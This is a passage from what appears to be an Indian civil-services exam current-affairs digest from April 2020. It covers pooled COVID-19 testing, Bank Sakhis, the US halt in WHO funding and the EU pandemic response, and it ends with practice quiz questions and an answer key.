samples of multiple individuals are put together in a tube and screened through the PCR test. In case the pooled test turns out to be positive, individual samples are tested, known as pool de-convolution.  If there’s no positive result, all individual samples in the pool are regarded as negative.  Benefits: Substantial costs and testing kits are saved. Pooled screening can also help in tracking down the asymptomatic cases, thereby helps in tracking community transmission.  The Indian Council of Medical Research (ICMR) It is the apex body in India for the formulation, coordination and promotion of biomedical research.  It is one of the oldest and largest medical research bodies in the world.  The ICMR is funded by the Government of India through the Department of Health Research, Ministry of Health and Family Welfare.  Bank Sakhi / BC Sakhi plays vital role in financial inclusion Part of: GS Prelims and GS-II - Governance In News: Self Help Group women working as BC Sakhis and Bank Sakhis are playing a vital role in disbursement of Rs.500/- to women having PMJDY accounts (Pradhan Mantri Jan Dhan Yojana) amidst COVID-19 Lockdown. Important value additions: BC Sakhis are Self-Help Groups (SHGs) women working as Business Correspondents for banks. A Bank Sakhi is someone who has been an SHG member involved in conducting banking and book-keeping activities of the group. As a Bank Sakhi, she provides a range of financial services on behalf of the bank to her community.  She is supported by the local SHG federation which provides capacity development, training, and financial awareness in the community. She is paid a commission by the bank for different services, which covers her costs and provides her with an income. Pradhan Mantri Jan Dhan Yojana It is a financial inclusion program of Government of India.  It is open to all Indian citizens. It aims to expand and make affordable access to financial services such as bank accounts, remittances, credit, insurance and pensions.  Miscellaneous  CollabCAD Atal Innovation Mission (AIM), NITI Aayog and National Informatics Centre (NIC) have jointly launched CollabCAD recently.  The aim of this initiative is to provide a great platform to students of Atal Tinkering Labs (ATLs) across country to create and modify 3D Computer Aided Designs with free flow of creativity and imagination. Pattachitra  COVID-19 pandemic has impacted the livelihood of the Pattachitra artists, residing in Heritage crafts village of Raghurajpur in Odisha. It is a picture painted on a piece of cloth.  It is based in the states of West Bengal and Odisha. Bengal tradition Odisha tradition It is centered around Kalighat (in Kolkata).  It is centered around Puri.  Theme is not much devotional.  These paintings are based on Hindu mythology and specially inspired by Jagannath and Vaishnava sect. (MAINS FOCUS) INTERNATIONAL/ HEALTH Topic: General Studies 1 & 2: Contemporary World History (UN & its challenges) Important International institutions, agencies and fora- their structure, mandate. WHO and its funding  Context: US has halted the funding to the WHO over its handling of the coronavirus pandemic. About WHO WHO, founded in 1948, is a specialized agency of the United Nations with a broad mandate to act as a coordinating authority on international health issues. The main decision-making body at WHO is the annual World Health Assembly (WHA), attended by all member-states.  There is also the Executive Board (EB) comprising technically qualified persons from 34 countries, elected based on geographic representation from across the globe.  What were the reasons given by US President for stopping the funds to WHO?  WHO was being too lenient with China in the earliest days of the pandemic  WHO’s delay in declaring COVID-19 as Public Health Emergency of International Concern(PHEIC) and as a result failed to impose a travel ban on China  WHO must be held accountable for its inefficient working. Do You Know? USA is the biggest overall donor to WHO, contributing more than $400 million in 2019, roughly 15% of its budget. China's contribution to WHO for 2018-2019 was almost $76 million in assessed contributions and some $10 million in voluntary funding The WHO has been appealing for more than $1 billion to fund operations against the COVID-19 pandemic How is the WHO funded? Assessed Contributions These are the dues countries pay in order to be a member of the Organization.  The amount each Member State must pay is calculated relative to the country's wealth and population. These contributions have declined, and now account for less than one-fourth of its funding. Voluntary Contributions These come from Member States (in addition to their assessed contribution) or from other partners (organisations & individuals)  They can range from flexible to highly earmarked. Top funders include Bill and Melinda Gates (USD 367.7 million), GAVI Vaccine Alliance, World Bank, Rotary International and the European Commission Consequences of the US decision Politicization of the Pandemic Reduces WHO’s ability to coordinate the fight against pandemic in coming months WHO’s significance will decline in long run if the shortfall in funding is not addressed Impacts the Public Health prospects of Africa: Half of all spending of WHO was in Africa. Impacts Health programs of WHO: A quarter of WHO budget went to polio eradication, 12% on access to healthcare, 5% on outbreak prevention and control It provides further scope for China to increase its funding and influence in WHO Signals US intention of retreating from Global affairs thus creating vacuum in Global Leadership role Trend of US retreating from Global leadership role Since Trump Presidency (2016 onwards), US has Quit the U.N. Human Rights Council and U.N. cultural agency UNESCO Pulled out of Paris accord and Iran nuclear deal  Cut funding for the U.N. Population Fund (UNFPA) and U.N. agency that helps Palestinian refugees (UNRWA)  Opposed a U.N. migration pact Way Ahead US should hold WHO accountable not by suspending its funding but by setting up actionable committee to look into lapses in WHO’s response during pandemic Institutional Reforms in WHO Increase the flexible funding Reduction in bureaucratic complexity to ease the process Reduce reliance on voluntary contributions and instead increase assessed contributions Empowering the Executive board for quick decision making backed by scientific data More Democratic functioning of the body – needs to insulate from global power politics Connecting the dots: WTO, UNO - Democratic deficit in their structure and functioning Impact of decline in WHO’s funding on India’s health funding INTERNATIONAL/ ECONOMY Topic: General Studies 2: Important International institutions, agencies and fora- their structure, mandate.  COVID-19: Eurozone and challenges Context: EU- the most progressive post-national regional arrangement was not proactive while dealing with the spread of COVID-19 pandemic. This resulted in its member states turning inward for solutions. About European Union(EU) It is a political and economic union of 27 member states that are located primarily in Europe. Objective of EU and its policies  Ensure the free movement of people, goods, services and capital within the internal market,  Enact legislation in justice and home affairs and maintain common policies on trade, agriculture, fisheries and regional development Below is the schematic representation of EU Image Source: Google What are the recent steps taken by the EU to fight COVID-19? Emergency rescue package amounting to €540-billion Opening up of an emergency credit line for member countries  Raise the lending capacity of the European Investment Bank  European Commission’s €100- billion unemployment insurance scheme European Central Bank has decided to expand its asset purchase programme by €750-billion over the next nine months Challenges ahead Apprehensions about intrusive EU inspections with regard to relief package Discontent with regard to burden-sharing between the richer members in the north (like Germany & France) and the poorer states in the south (like Greece & Portugal)  Demand from Italy (worse affected) that pandemic credit to be issued by the European Stability Mechanism should not be attached with any conditionalities.  Greece and Ireland had received financial bailouts from EU in 2009 but were accompanied by fiscal austerity measures (reduction in welfare spending) No progress on joint issuance of Eurobonds (dubbed corona bond). These are Common debt instrument which would pool borrowing among EU nations to fight the crisis. Implementation Challenges: Utilization of relief package would be slowed down by bureaucratic complexities Unsatisfied pro-European elites: The support measures by EU is considered as too little and not holistic Strains in National Coalition governments over the strategy to be adopted to tackle the pandemic, especially in the backdrop of EU’s less-enthusiastic role For instance: Netherlands’ ruling coalition unhappy over the government’s orthodox fiscal stance, where the opposition parties advocate Eurobonds. High Stakes: Failure to tackle the pandemic can affect European Solidarity especially after the difficulties faced in the aftermath of 2008 financial crisis and the recent Brexit. Way Ahead When the pandemic hit the continent self-help and not regional coordination, was countries first instinct- which doesn’t bode well for EU.  Therefore, bigger economies like Germany, France & Netherlands need to compromise to ensure sustainability of the grouping Connecting the dots: SAARC and India’s initiative for collaboration on tackling pandemic Difference in structure between EU and ASEAN (TEST YOUR KNOWLEDGE) Model questions: (You can now post your answers in comment section) Note:  Correct answers of today’s questions will be provided in next day’s DNA section. Kindly refer to it and update your answers.  Comments Up-voted by IASbaba are also the “correct answers”. Q.1 Consider the following statements: According to ICMR recommendations, no more than five samples are allowed for pooled sampling.  ICMR is one of the oldest and largest Medical Research bodies in the world. Which of the above is/are correct? 1 only 2 only Both 1 and 2 Neither 1 nor 2 Q.2 Consider the following statements: BC Sakhi has been involved in conducting banking and financial services for her Self Help Group. Bank Sakhis are business correspondents for the banks. Which of the above is/are correct? 1 only 2 only Both 1 and 2 Neither 1 nor 2 Q.3 CollabCAD was recently launched by which of the following? IIT Mumbai  IIM Ahmedabad  All India Institute of Medical Sciences  Niti Aayog Q,4 Consider the following statements regarding pattachitra? In Bengal tradition, it is centred around Kalighat  Theme is based on Hindu mythology. Which of the above is/are correct? 1 only 2 only Both 1 and 2 Neither 1 nor 2 ANSWERS FOR 14th April 2020 TEST YOUR KNOWLEDGE (TYK) 1 B 2 C 3 A 4 C Must Read Article by former RBI Governor on Fiscal measures to tackle COVID-19: Indian Express About Economic liberalization and its faults: The Hindu About Sociological analysis of rumours: The Hindu